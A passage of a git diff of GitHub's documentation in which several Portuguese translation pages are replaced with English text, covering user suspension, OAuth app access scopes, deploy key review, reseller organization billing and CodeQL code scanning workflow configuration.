unsuspend the user. +![Unsuspend reason](/assets/images/enterprise/site-admin-settings/unsuspend-reason.png) + +## Suspending a user from the command line + +{% data reusables.enterprise_installation.ssh-into-instance %} +2. Run [ghe-user-suspend](/enterprise/{{ currentVersion }}/admin/guides/installation/command-line-utilities#ghe-user-suspend) with the username to suspend. + ```shell + $ ghe-user-suspend username + ``` + +## Creating a custom message for suspended users + +You can create a custom message that suspended users will see when attempting to sign in. + +{% data reusables.enterprise-accounts.access-enterprise %} +{% data reusables.enterprise-accounts.settings-tab %} +{% data reusables.enterprise-accounts.messages-tab %} +5. Click **Add message**. +![Add message](/assets/images/enterprise/site-admin-settings/add-message.png) +6. Type your message into the **Suspended user message** box. You can type Markdown, or use the Markdown toolbar to style your message. +![Suspended user message](/assets/images/enterprise/site-admin-settings/suspended-user-message.png) +7. Click the **Preview** button under the **Suspended user message** field to see the rendered message. +![Preview button](/assets/images/enterprise/site-admin-settings/suspended-user-message-preview-button.png) +8. Review the rendered message. +![Suspended user message rendered](/assets/images/enterprise/site-admin-settings/suspended-user-message-rendered.png) +{% data reusables.enterprise_site_admin_settings.save-changes %} + +## Unsuspending a user from the command line + +{% data reusables.enterprise_installation.ssh-into-instance %} +2. Run [ghe-user-unsuspend](/enterprise/{{ currentVersion }}/admin/guides/installation/command-line-utilities#ghe-user-unsuspend) with the username to unsuspend. + ```shell + $ ghe-user-unsuspend username + ``` + +## Further reading +- "[Suspend a user](/rest/reference/enterprise-admin#suspend-a-user)" diff --git a/translations/pt-BR/content/authentication/keeping-your-account-and-data-secure/connecting-with-third-party-applications.md b/translations/pt-BR/content/authentication/keeping-your-account-and-data-secure/connecting-with-third-party-applications.md index fae3fa3b48..e70e25bdd2 100644 --- a/translations/pt-BR/content/authentication/keeping-your-account-and-data-secure/connecting-with-third-party-applications.md +++ b/translations/pt-BR/content/authentication/keeping-your-account-and-data-secure/connecting-with-third-party-applications.md @@ -1,6 +1,6 @@ --- -title: Conectar-se a aplicativos de terceiros -intro: 'Você pode conectar sua identidade do {% data variables.product.product_name %} a aplicativos de terceiros usando o OAuth. Ao autorizar um desses aplicativos, você deve ter certeza de que se trata de um aplicativo confiável, examinar por quem ele foi desenvolvido e analisar os tipos de informação que o aplicativo quer acessar.' +title: Connecting with third-party applications +intro: 'You can connect your {% data variables.product.product_name %} identity to third-party applications using OAuth. When authorizing one of these applications, you should ensure you trust the application, review who it''s developed by, and review the kinds of information the application wants to access.' redirect_from: - /articles/connecting-with-third-party-applications - /github/authenticating-to-github/connecting-with-third-party-applications @@ -13,66 +13,65 @@ versions: topics: - Identity - Access management -shortTitle: Aplicativos de terceiros +shortTitle: Third-party applications --- +When a third-party application wants to identify you by your {% data variables.product.product_name %} login, you'll see a page with the developer contact information and a list of the specific data that's being requested. -Quando um aplicativo de terceiro quiser identificar você pelo seu login do {% data variables.product.product_name %}, será exibida uma página com as informações de contato do desenvolvedor e uma lista dos dados específicos que estão sendo solicitados. +## Contacting the application developer -## Contatar o desenvolvedor do aplicativo +Because an application is developed by a third-party who isn't {% data variables.product.product_name %}, we don't know exactly how an application uses the data it's requesting access to. You can use the developer information at the top of the page to contact the application admin if you have questions or concerns about their application. -Como o aplicativo é desenvolvido por um terceiro que não é o {% data variables.product.product_name %}, não sabemos exatamente como o aplicativo usa os dados para os quais está solicitando acesso. Você pode usar as informações do desenvolvedor no topo da página para contatar o administrador do aplicativo se tiver dúvidas sobre o aplicativo. +![{% data variables.product.prodname_oauth_app %} owner information](/assets/images/help/platform/oauth_owner_bar.png) -![Informações de proprietário do {% data variables.product.prodname_oauth_app %}](/assets/images/help/platform/oauth_owner_bar.png) +If the developer has chosen to supply it, the right-hand side of the page provides a detailed description of the application, as well as its associated website. -Se o desenvolvedor tiver optador por fornecê-lo, o lado direito da página fornecerá uma descrição detalhada do aplicativo, bem como seu site associado. +![OAuth application information and website](/assets/images/help/platform/oauth_app_info.png) -![Informações de aplicativo e site do OAuth](/assets/images/help/platform/oauth_app_info.png) +## Types of application access and data -## Tipos de acesos e dados do aplicativo +Applications can have *read* or *write* access to your {% data variables.product.product_name %} data. -Os aplicativos podem ter acesso de *leitura* ou *gravação* aos seus dados no {% data variables.product.product_name %}. +- **Read access** only allows an application to *look at* your data. +- **Write access** allows an application to *change* your data. -- O **acesso de leitura** permite que um aplicativo apenas *observe* os dados. -- O **acesso de gravação** permite que um aplicativo *altere* os dados. +### About OAuth scopes -### Sobre os escopos do OAuth +*Scopes* are named groups of permissions that an application can request to access both public and non-public data. -Os *escopos* são grupos nomeados de permissões que um aplicativo pode solicitar para acessar dados públicos e não públicos. - -Quando você quiser usar um aplicativo de terceiro que se integre ao {% data variables.product.product_name %}, esse aplicativo permitirá que você saiba qual tipo de acesso aos seus dados será necessário. Se você conceder acesso ao aplicativo, este poderá executar ações em seu nome, como ler ou modificar os dados. Por exemplo, se você desejar usar um app que solicite o escopo `user:email`, o app terá acesso somente leitura aos seus endereços de e-mail privados. Para obter mais informações, consulte "[Sobre escopos para {% data variables.product.prodname_oauth_apps %}](/apps/building-integrations/setting-up-and-registering-oauth-apps/about-scopes-for-oauth-apps)". +When you want to use a third-party application that integrates with {% data variables.product.product_name %}, that application lets you know what type of access to your data will be required. If you grant access to the application, then the application will be able to perform actions on your behalf, such as reading or modifying data. For example, if you want to use an app that requests `user:email` scope, the app will have read-only access to your private email addresses. For more information, see "[About scopes for {% data variables.product.prodname_oauth_apps %}](/apps/building-integrations/setting-up-and-registering-oauth-apps/about-scopes-for-oauth-apps)." {% tip %} -**Observação:** no momento, não é possível usar o escopo de acesso de código-fonte para somente leitura. +**Note:** Currently, you can't scope source code access to read-only. {% endtip %} -### Tipos de dados solicitados +### Types of requested data -Há vários tipos de dados que os aplicativos podem solicitar. +There are several types of data that applications can request. -![Detalhes de acesso do OAuth](/assets/images/help/platform/oauth_access_types.png) +![OAuth access details](/assets/images/help/platform/oauth_access_types.png) {% tip %} -**Dica:** {% data reusables.user_settings.review_oauth_tokens_tip %} +**Tip:** {% data reusables.user_settings.review_oauth_tokens_tip %} {% endtip %} -| Tipos de dados | Descrição | -| ------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| Status do commit | Você pode conceder acesso para que um aplicativo de terceiro relate seu status de commit. O acesso ao status do commit permite que os aplicativos determinem se uma compilação foi bem-sucedida em relação a um commit específico. Os apps não terão acesso ao seu código, mas poderão ler e gravar informações de status em relação a um commit específico. | -| Implantações | O acesso ao status de implantação permite que os aplicativos determinem se uma implantação é bem-sucedida com um commit específico para um repositório. Os aplicativos não terão acesso ao seu código. | -| Gists | [O acesso Gist](https://gist.github.com) permite que aplicativos leiam ou gravem em {% ifversion not ghae %} nos seus Gists tanto o seu público quanto{% else %}tanto interno quanto{% endif %} e secretos. | -| Hooks | O acesso aos [webhooks](/webhooks) permite que os aplicativos leiam ou gravem configurações de hook em repositórios que você gerencia. | -| Notificações | O acesso às notificações permite que os aplicativos leiam suas notificações de {% data variables.product.product_name %}, como, por exemplo, comentários em problemas e pull requests. No entanto, os aplicativos continuam sem poder acessar nada nos repositórios. | -| Organizações e equipes | O acesso às organizações e equipes permite que os apps acessem e gerenciem a associação à organização e à equipe. | -| Dados pessoais do usuário | Os dados do usuário incluem informações encontradas no seu perfil de usuário, como nome, endereço de e-mail e localização. | -| Repositórios | As informações de repositório incluem os nomes dos contribuidores, os branches que você criou e os arquivos reais dentro do repositório. Os aplicativos podem solicitar acesso para {% ifversion not ghae %}público{% else %}interno{% endif %} ou repositórios privados em em um nível amplo de usuários. | -| Exclusão de repositório | Os aplicativos podem solicitar a exclusão de repositórios que você administra, mas não terão acesso ao seu código. | +| Type of data | Description | +| --- | --- | +| Commit status | You can grant access for a third-party application to report your commit status. Commit status access allows applications to determine if a build is a successful against a specific commit. Applications won't have access to your code, but they can read and write status information against a specific commit. | +| Deployments | Deployment status access allows applications to determine if a deployment is successful against a specific commit for a repository. Applications won't have access to your code. | +| Gists | [Gist](https://gist.github.com) access allows applications to read or write to {% ifversion not ghae %}both your public and{% else %}both your internal and{% endif %} secret Gists. | +| Hooks | [Webhooks](/webhooks) access allows applications to read or write hook configurations on repositories you manage. | +| Notifications | Notification access allows applications to read your {% data variables.product.product_name %} notifications, such as comments on issues and pull requests. However, applications remain unable to access anything in your repositories. | +| Organizations and teams | Organization and teams access allows apps to access and manage organization and team membership. | +| Personal user data | User data includes information found in your user profile, like your name, e-mail address, and location. | +| Repositories | Repository information includes the names of contributors, the branches you've created, and the actual files within your repository. An application can request access to all of your repositories of any visibility level. For more information, see "[About repositories](/repositories/creating-and-managing-repositories/about-repositories#about-repository-visibility)." | +| Repository delete | Applications can request to delete repositories that you administer, but they won't have access to your code. | -## Solicitar permissões atualizadas +## Requesting updated permissions -Os aplicativos podem solicitar novos privilégios de acesso. Ao solicitar permissões atualizadas, o aplicativo notificará você das diferenças. +Applications can request new access privileges. When asking for updated permissions, the application will notify you of the differences. -![Alterar acesso de aplicativo de terceiro](/assets/images/help/platform/oauth_existing_access_pane.png) +![Changing third-party application access](/assets/images/help/platform/oauth_existing_access_pane.png) diff --git a/translations/pt-BR/content/authentication/keeping-your-account-and-data-secure/reviewing-your-deploy-keys.md b/translations/pt-BR/content/authentication/keeping-your-account-and-data-secure/reviewing-your-deploy-keys.md index 4d8728ac72..b3629bba82 100644 --- a/translations/pt-BR/content/authentication/keeping-your-account-and-data-secure/reviewing-your-deploy-keys.md +++ b/translations/pt-BR/content/authentication/keeping-your-account-and-data-secure/reviewing-your-deploy-keys.md @@ -1,6 +1,6 @@ --- -title: Revisar suas chaves de implantação -intro: Você deve revisar as chaves de implantação para verificar se há chaves não autorizadas (ou potencialmente comprometidas). Você também pode aprovar as chaves de implantação que são válidas. +title: Reviewing your deploy keys +intro: You should review deploy keys to ensure that there aren't any unauthorized (or possibly compromised) keys. You can also approve existing deploy keys that are valid. redirect_from: - /articles/reviewing-your-deploy-keys - /github/authenticating-to-github/reviewing-your-deploy-keys @@ -13,12 +13,16 @@ versions: topics: - Identity - Access management -shortTitle: Chaves de implantação +shortTitle: Deploy keys --- - {% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-settings %} -3. Na barra lateral esquerda, clique em **Deploy keys** (Chaves de implantação). ![Configuração das chaves de implantação](/assets/images/help/settings/settings-sidebar-deploy-keys.png) -4. Na página das chaves de implantação, anote as chaves de implantação associadas à sua conta. Para as chaves não reconhecidas ou desatualizadas, clique em **Delete** (Excluir). Se houver chaves de implantação válidas que deseja manter, clique em **Approve** (Aprovar). ![Lista de chaves de implantação](/assets/images/help/settings/settings-deploy-key-review.png) +3. In the left sidebar, click **Deploy keys**. +![Deploy keys setting](/assets/images/help/settings/settings-sidebar-deploy-keys.png) +4. On the Deploy keys page, take note of the deploy keys associated with your account. For those that you don't recognize, or that are out-of-date, click **Delete**. If there are valid deploy keys you'd like to keep, click **Approve**. + ![Deploy key list](/assets/images/help/settings/settings-deploy-key-review.png) -Para obter mais informações, consulte "[Gerenciar chaves de implantação](/guides/managing-deploy-keys)". +For more information, see "[Managing deploy keys](/guides/managing-deploy-keys)." + +## Further reading +- [Configuring notifications](/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/configuring-notifications#organization-alerts-notification-options) diff --git a/translations/pt-BR/content/billing/setting-up-paid-organizations-for-procurement-companies/creating-and-paying-for-an-organization-on-behalf-of-a-client.md b/translations/pt-BR/content/billing/setting-up-paid-organizations-for-procurement-companies/creating-and-paying-for-an-organization-on-behalf-of-a-client.md new file mode 100644 index 0000000000..3826e43f66 --- /dev/null +++ b/translations/pt-BR/content/billing/setting-up-paid-organizations-for-procurement-companies/creating-and-paying-for-an-organization-on-behalf-of-a-client.md @@ -0,0 +1,108 @@ +--- +title: Creating and paying for an organization on behalf of a client +intro: 'You can create and pay for a {% data variables.product.prodname_dotcom %} organization on behalf of a client.' +redirect_from: + - /github/setting-up-and-managing-billing-and-payments-on-github/creating-and-paying-for-an-organization-on-behalf-of-a-client + - /articles/creating-and-paying-for-an-organization-on-behalf-of-a-client + - /github/setting-up-and-managing-billing-and-payments-on-github/setting-up-paid-organizations-for-procurement-companies/creating-and-paying-for-an-organization-on-behalf-of-a-client +versions: + fpt: '*' + ghec: '*' +type: quick_start +topics: + - User account + - Organizations + - Upgrades +shortTitle: On behalf of a client +--- +## Requirements + +Before you start, make sure you know: +- The {% data variables.product.prodname_dotcom %} username of the client who will become the owner of the organization you create +- The name your client would like to use for the organization +- The email address where you would like receipts to be sent +- The [product](/articles/github-s-products) your client would like to purchase +- The number of [paid seats](/articles/about-per-user-pricing/) your client would like you to purchase for the organization + +## Step 1: Create your personal {% data variables.product.prodname_dotcom %} account + +You will use your personal account to set up the organization. You'll also need to sign in to this account to renew or make changes to your client's subscription in the future. + +If you already have a personal {% data variables.product.prodname_dotcom %} user account, skip to [step 2](#step-2-create-the-organization). + +1. Go to the [Join GitHub](https://github.com/join) page. +2. Under "Create your personal account," type your username, email address, and password, then click **Create an account**. +![Create personal account entry form](/assets/images/help/billing/billing_create_your_personal_account_form.png) +3. Select {% data variables.product.prodname_free_user %} for your personal account. +4. Click **Finish sign up**. + +## Step 2: Create the organization + +{% data reusables.user_settings.access_settings %} +{% data reusables.user_settings.organizations %} +{% data reusables.organizations.new-organization %} +3. Under "Choose a plan", click **Choose {% data variables.product.prodname_free_team %}**. You will upgrade the organization in the next step. +{% data reusables.organizations.organization-name %} +5. Under "Contact email", type a contact email address for your client. + ![Contact email field](/assets/images/help/organizations/contact-email-field.png) +{% data reusables.dotcom_billing.owned_by_business %} +8. Click **Next**. + +## Step 3: Upgrade the organization to a yearly paid subscription + + +{% data reusables.profile.access_org %} +{% data reusables.profile.org_settings %} +{% data reusables.organizations.billing_plans %} +{% data reusables.dotcom_billing.upgrade_org %} +{% data reusables.dotcom_billing.choose_org_plan %} (You can add more seats to the organization in the next step.) +6. Under "Upgrade summary", select **Pay yearly** to pay for the organization yearly. +![Radio button for yearly billing](/assets/images/help/billing/choose-annual-billing-org-resellers.png) +{% data reusables.dotcom_billing.enter-payment-info %} +{% data reusables.dotcom_billing.finish_upgrade %} + +## Step 4: Upgrade the number of paid seats in the organization + +{% data reusables.profile.access_org %} +{% data reusables.profile.org_settings %} +{% data reusables.organizations.billing_plans %} +{% data reusables.dotcom_billing.add-seats %} +{% data reusables.dotcom_billing.number-of-seats %} +{% data reusables.dotcom_billing.confirm-add-seats %} + +## Step 5: Invite your client to join the organization + +{% data reusables.profile.access_org %} +{% data reusables.user_settings.access_org %} +{% data reusables.organizations.people %} +{% data reusables.organizations.invite_member_from_people_tab %} +5. Type your client's {% data variables.product.prodname_dotcom %} username and press **Enter**. +![Field to type your client's username](/assets/images/help/organizations/org-invite-modal.png) +6. Choose the *owner* role for your client, then click **Send invitation**. +![Owner radio button and send invitation button](/assets/images/help/organizations/add-owner-send-invite-reseller.png) +7. Your client will receive an email inviting them to the organization. They will need to accept the invitation before you can move on to the next step. + +## Step 6: Transfer organization ownership to your client + +{% data reusables.profile.access_org %} +{% data reusables.user_settings.access_org %} +{% data reusables.organizations.people %} +4. Confirm that your client is listed among the members of the organization and is assigned the *owner* role. +5. To the right of your username, use the {% octicon "gear" aria-label="The Settings gear" %} drop-down menu, and click **Manage**. + ![The manage access link](/assets/images/help/organizations/member-manage-access.png) +6. On the left, click **Remove from organization**. + ![Remove from organization button](/assets/images/help/organizations/remove-from-org-button.png) +7. Confirm your choice and click **Remove members**. + ![Remove members confirmation button](/assets/images/help/organizations/confirm-remove-from-org.png) + +## Next steps + +1. Contact your client and ask them to [add you to the organization as a billing manager](/articles/adding-a-billing-manager-to-your-organization). You'll need to be a billing manager for the organization so that you can renew or make changes to your client's subscription in the future. +2. If you would like your organization's credit card to be removed from the organization so that it's not charged again, contact {% data variables.contact.contact_support %}. +3. When it's time to renew your client's paid subscription, see "[Renewing your client's paid organization](/articles/renewing-your-client-s-paid-organization)." + +## Further reading + +- "[About organizations for procurement companies](/articles/about-organizations-for-procurement-companies)" +- "[Upgrading or downgrading your client's paid organization](/articles/upgrading-or-downgrading-your-client-s-paid-organization)" +- "[Renewing your client's paid organization](/articles/renewing-your-client-s-paid-organization)" diff --git a/translations/pt-BR/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-code-scanning.md b/translations/pt-BR/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-code-scanning.md new file mode 100644 index 0000000000..c51ed6834e --- /dev/null +++ b/translations/pt-BR/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-code-scanning.md @@ -0,0 +1,482 @@ +--- +title: Configuring code scanning +intro: 'You can configure how {% data variables.product.prodname_dotcom %} scans the code in your project for vulnerabilities and errors.' +product: '{% data reusables.gated-features.code-scanning %}' +permissions: 'People with write permissions to a repository can configure {% data variables.product.prodname_code_scanning %} for the repository.' +miniTocMaxHeadingLevel: 3 +redirect_from: + - /github/finding-security-vulnerabilities-and-errors-in-your-code/configuring-code-scanning + - /code-security/secure-coding/configuring-code-scanning + - /code-security/secure-coding/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-code-scanning +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +type: how_to +topics: + - Advanced Security + - Code scanning + - Actions + - Repositories + - Pull requests + - JavaScript + - Python +shortTitle: Configure code scanning +--- + + +{% data reusables.code-scanning.beta %} +{% data reusables.code-scanning.enterprise-enable-code-scanning-actions %} + +## About {% data variables.product.prodname_code_scanning %} configuration + +You can run {% data variables.product.prodname_code_scanning %} on {% data variables.product.product_name %}, using {% data variables.product.prodname_actions %}, or from your continuous integration (CI) system. For more information, see "[About {% data variables.product.prodname_actions %}](/actions/getting-started-with-github-actions/about-github-actions)" or +{%- ifversion fpt or ghes > 3.0 or ghae-next %} +"[About {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %} in your CI system](/code-security/secure-coding/about-codeql-code-scanning-in-your-ci-system)." +{%- else %} +"[Running {% data variables.product.prodname_codeql_runner %} in your CI system](/code-security/secure-coding/running-codeql-runner-in-your-ci-system)." +{% endif %} + +This article is about running {% data variables.product.prodname_code_scanning %} on {% data variables.product.product_name %} using actions. + +Before you can configure {% data variables.product.prodname_code_scanning %} for a repository, you must set up {% data variables.product.prodname_code_scanning %} by adding a {% data variables.product.prodname_actions %} workflow to the repository. For more information, see "[Setting up {% data variables.product.prodname_code_scanning %} for a repository](/code-security/secure-coding/setting-up-code-scanning-for-a-repository)." + +{% data reusables.code-scanning.edit-workflow %} + +{% data variables.product.prodname_codeql %} analysis is just one type of {% data variables.product.prodname_code_scanning %} you can do in {% data variables.product.prodname_dotcom %}. {% data variables.product.prodname_marketplace %}{% ifversion ghes %} on {% data variables.product.prodname_dotcom_the_website %}{% endif %} contains other {% data variables.product.prodname_code_scanning %} workflows you can use. {% ifversion fpt or ghec %}You can find a selection of these on the "Get started with {% data variables.product.prodname_code_scanning %}" page, which you can access from the **{% octicon "shield" aria-label="The shield symbol" %} Security** tab.{% endif %} The specific examples given in this article relate to the {% data variables.product.prodname_codeql_workflow %} file. + +## Editing a {% data variables.product.prodname_code_scanning %} workflow + +{% data variables.product.prodname_dotcom %} saves workflow files in the _.github/workflows_ directory of your repository. You can find a workflow you have added by searching for its file name. For example, by default, the workflow file for {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %} is called _codeql-analysis.yml_. + +1. In your repository, browse to the workflow file you want to edit. +1. In the upper right corner of the file view, to open the workflow editor, click {% octicon "pencil" aria-label="The edit icon" %}. +![Edit workflow file button](/assets/images/help/repository/code-scanning-edit-workflow-button.png) +1. After you have edited the file, click **Start commit** and complete the "Commit changes" form. You can choose to commit directly to the current branch, or create a new branch and start a pull request. +![Commit update to codeql.yml workflow](/assets/images/help/repository/code-scanning-workflow-update.png) + +For more information about editing workflow files, see "[Learn {% data variables.product.prodname_actions %}](/actions/learn-github-actions)." + +## Configuring frequency + +You can configure the {% data variables.product.prodname_codeql_workflow %} to scan code on a schedule or when specific events occur in a repository. + +Scanning code when someone pushes a change, and whenever a pull request is created, prevents developers from introducing new vulnerabilities and errors into the code. Scanning code on a schedule informs you about the latest vulnerabilities and errors that {% data variables.product.company_short %}, security researchers, and the community discover, even when developers aren't actively maintaining the repository. + +### Scanning on push + +By default, the {% data variables.product.prodname_codeql_workflow %} uses the `on.push` event to trigger a code scan on every push to the default branch of the repository and any protected branches. For {% data variables.product.prodname_code_scanning %} to be triggered on a specified branch, the workflow must exist in that branch. For more information, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions#on)." + +If you scan on push, then the results appear in the **Security** tab for your repository. For more information, see "[Managing code scanning alerts for your repository](/code-security/secure-coding/managing-code-scanning-alerts-for-your-repository#viewing-the-alerts-for-a-repository)." + +{% ifversion fpt or ghes > 3.2 or ghae-issue-5093 or ghec %} +Additionally, when an `on:push` scan returns results that can be mapped to an open pull request, these alerts will automatically appear on the pull request in the same places as other pull request alerts. The alerts are identified by comparing the existing analysis of the head of the branch to the analysis for the target branch. For more information on {% data variables.product.prodname_code_scanning %} alerts in pull requests, see "[Triaging {% data variables.product.prodname_code_scanning %} alerts in pull requests](/code-security/secure-coding/triaging-code-scanning-alerts-in-pull-requests)." +{% endif %} + +### Scanning pull requests + +The default {% data variables.product.prodname_codeql_workflow %} uses the `pull_request` event to trigger a code scan on pull requests targeted against the default branch. {% ifversion ghes %}The `pull_request` event is not triggered if the pull request was opened from a private fork.{% else %}If a pull request is from a private fork, the `pull_request` event will only be triggered if you've selected the "Run workflows from fork pull requests" option in the repository settings. For more information, see "[Managing {% data variables.product.prodname_actions %} settings for a repository](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository#enabling-workflows-for-private-repository-forks)."{% endif %} + +For more information about the `pull_request` event, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions#onpushpull_requestbranchestags)." + +If you scan pull requests, then the results appear as alerts in a pull request check. For more information, see "[Triaging code scanning alerts in pull requests](/code-security/secure-coding/triaging-code-scanning-alerts-in-pull-requests)." + +{% ifversion fpt or ghes > 3.2 or ghae-issue-5093 or ghec %} + Using the `pull_request` trigger, configured to scan the pull request's merge commit rather than the head commit, will produce more efficient and accurate results than scanning the head of the branch on each push. However, if you use a CI/CD system that cannot be configured to trigger on pull requests, you can still use the `on:push` trigger and {% data variables.product.prodname_code_scanning %} will map the results to open pull requests on the branch and add the alerts as annotations on the pull request. For more information, see "[Scanning on push](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-code-scanning#scanning-on-push)." +{% endif %} + +{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} +### Defining the severities causing pull request check failure + +By default, only alerts with the severity level of `Error`{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} or security severity level of `Critical` or `High`{% endif %} will cause a pull request check failure, and a check will still succeed with alerts of lower severities. You can change the levels of alert severities{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} and of security severities{% endif %} that will cause a pull request check failure in your repository settings. For more information about severity levels, see "[Managing code scanning alerts for your repository](/code-security/secure-coding/automatically-scanning-your-code-for-vulnerabilities-and-errors/managing-code-scanning-alerts-for-your-repository#about-alerts-details)." + +{% data reusables.repositories.navigate-to-repo %} +{% data reusables.repositories.sidebar-settings %} +{% data reusables.repositories.navigate-to-security-and-analysis %} +1. Under "Code scanning", to the right of "Check Failure", use the drop-down menu to select the level of severity you would like to cause a pull request check failure. +{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} +![Check failure setting](/assets/images/help/repository/code-scanning-check-failure-setting.png) +{% else %} +![Check failure setting](/assets/images/help/repository/code-scanning-check-failure-setting-ghae.png) +{% endif %} +{% endif %} + +### Avoiding unnecessary scans of pull requests + +You might want to avoid a code scan being triggered on specific pull requests targeted against the default branch, irrespective of which files have been changed. You can configure this by specifying `on:pull_request:paths-ignore` or `on:pull_request:paths` in the {% data variables.product.prodname_code_scanning %} workflow. For example, if the only changes in a pull request are to files with the file extensions `.md` or `.txt` you can use the following `paths-ignore` array. + +``` yaml +on: + push: + branches: [main, protected] + pull_request: + branches: [main] + paths-ignore: + - '**/*.md' + - '**/*.txt' +``` + +{% note %} + +**Notes** + +* `on:pull_request:paths-ignore` and `on:pull_request:paths` set conditions that determine whether the actions in the workflow will run on a pull request. They don't determine what files will be analyzed when the actions _are_ run. When a pull request contains any files that are not matched by `on:pull_request:paths-ignore` or `on:pull_request:paths`, the workflow runs the actions and scans all of the files changed in the pull request, including those matched by `on:pull_request:paths-ignore` or `on:pull_request:paths`, unless the files have been excluded. For information on how to exclude files from analysis, see "[Specifying directories to scan](#specifying-directories-to-scan)." +* For {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %} workflow files, don't use the `paths-ignore` or `paths` keywords with the `on:push` event as this is likely to cause missing analyses. For accurate results, {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %} needs to be able to compare new changes with the analysis of the previous commit. + +{% endnote %} + +For more information about using `on:pull_request:paths-ignore` and `on:pull_request:paths` to determine when a workflow will run for a pull request, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions#onpushpull_requestpaths)." + +### Scanning on a schedule + +If you use the default {% data variables.product.prodname_codeql_workflow %}, the workflow will scan the code in your repository once a week, in addition to the scans triggered by events. To adjust this schedule, edit the `cron` value in the workflow. For more information, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions#onschedule)." + +{% note %} + +**Note**: {% data variables.product.prodname_dotcom %} only runs scheduled jobs that are in workflows on the default branch. Changing the schedule in a workflow on any other branch has no effect until you merge the branch into the default branch. + +{% endnote %} + +### Example + +The following example shows a {% data variables.product.prodname_codeql_workflow %} for a particular repository that has a default branch called `main` and one protected branch called `protected`. + +``` yaml +on: + push: + branches: [main, protected] + pull_request: + branches: [main] + schedule: + - cron: '20 14 * * 1' +``` + +This workflow scans: +* Every push to the default branch and the protected branch +* Every pull request to the default branch +* The default branch every Monday at 14:20 UTC + +## Specifying an operating system + +If your code requires a specific operating system to compile, you can configure the operating system in your {% data variables.product.prodname_codeql_workflow %}. Edit the value of `jobs.analyze.runs-on` to specify the operating system for the machine that runs your {% data variables.product.prodname_code_scanning %} actions. {% ifversion ghes %}You specify the operating system by using an appropriate label as the second element in a two-element array, after `self-hosted`.{% else %} + +If you choose to use a self-hosted runner for code scanning, you can specify an operating system by using an appropriate label as the second element in a two-element array, after `self-hosted`.{% endif %} + +``` yaml +jobs: + analyze: + name: Analyze + runs-on: [self-hosted, ubuntu-latest] +``` + +{% ifversion fpt or ghec %}For more information, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners)" and "[Adding self-hosted runners](/actions/hosting-your-own-runners/adding-self-hosted-runners)."{% endif %} + +{% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %} supports the latest versions of Ubuntu, Windows, and macOS. Typical values for this setting are therefore: `ubuntu-latest`, `windows-latest`, and `macos-latest`. For more information, see {% ifversion ghes %}"[Workflow syntax for GitHub Actions](/actions/reference/workflow-syntax-for-github-actions#self-hosted-runners)" and "[Using labels with self-hosted runners](/actions/hosting-your-own-runners/using-labels-with-self-hosted-runners){% else %}"[Workflow syntax for GitHub Actions](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idruns-on){% endif %}." + +{% ifversion ghes %}You must ensure that Git is in the PATH variable on your self-hosted runners.{% else %}If you use a self-hosted runner, you must ensure that Git is in the PATH variable.{% endif %} + +{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} +## Specifying the location for {% data variables.product.prodname_codeql %} databases + +In general, you do not need to worry about where the {% data variables.product.prodname_codeql_workflow %} places {% data variables.product.prodname_codeql %} databases since later steps will automatically find databases created by previous steps. However, if you are writing a custom workflow step that requires the {% data variables.product.prodname_codeql %} database to be in a specific disk location, for example to upload the database as a workflow artifact, you can specify that location using the `db-location` parameter under the `init` action. + +{% raw %} +``` yaml +- uses: github/codeql-action/init@v1 + with: + db-location: '${{ github.workspace }}/codeql_dbs' +``` +{% endraw %} + +The {% data variables.product.prodname_codeql_workflow %} will expect the path provided in `db-location` to be writable, and either not exist, or be an empty directory. When using this parameter in a job running on a self-hosted runner or using a Docker container, it's the responsibility of the user to ensure that the chosen directory is cleared between runs, or that the databases are removed once they are no longer needed. {% ifversion fpt or ghec or ghes %} This is not necessary for jobs running on {% data variables.product.prodname_dotcom %}-hosted runners, which obtain a fresh instance and a clean filesystem each time they run. For more information, see "[About {% data variables.product.prodname_dotcom %}-hosted runners](/actions/using-github-hosted-runners/about-github-hosted-runners)."{% endif %} + +If this parameter is not used, the {% data variables.product.prodname_codeql_workflow %} will create databases in a temporary location of its own choice. +{% endif %} + +## Changing the languages that are analyzed + +{% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %} automatically detects code written in the supported languages. + +{% data reusables.code-scanning.codeql-languages-bullets %} + +The default {% data variables.product.prodname_codeql_workflow %} file contains a build matrix called `language` which lists the languages in your repository that are analyzed. {% data variables.product.prodname_codeql %} automatically populates this matrix when you add {% data variables.product.prodname_code_scanning %} to a repository. Using the `language` matrix optimizes {% data variables.product.prodname_codeql %} to run each analysis in parallel. We recommend that all workflows adopt this configuration due to the performance benefits of parallelizing builds. For more information about build matrices, see "[Managing complex workflows](/actions/learn-github-actions/managing-complex-workflows#using-a-build-matrix)." + +{% data reusables.code-scanning.specify-language-to-analyze %} + +If your workflow uses the `language` 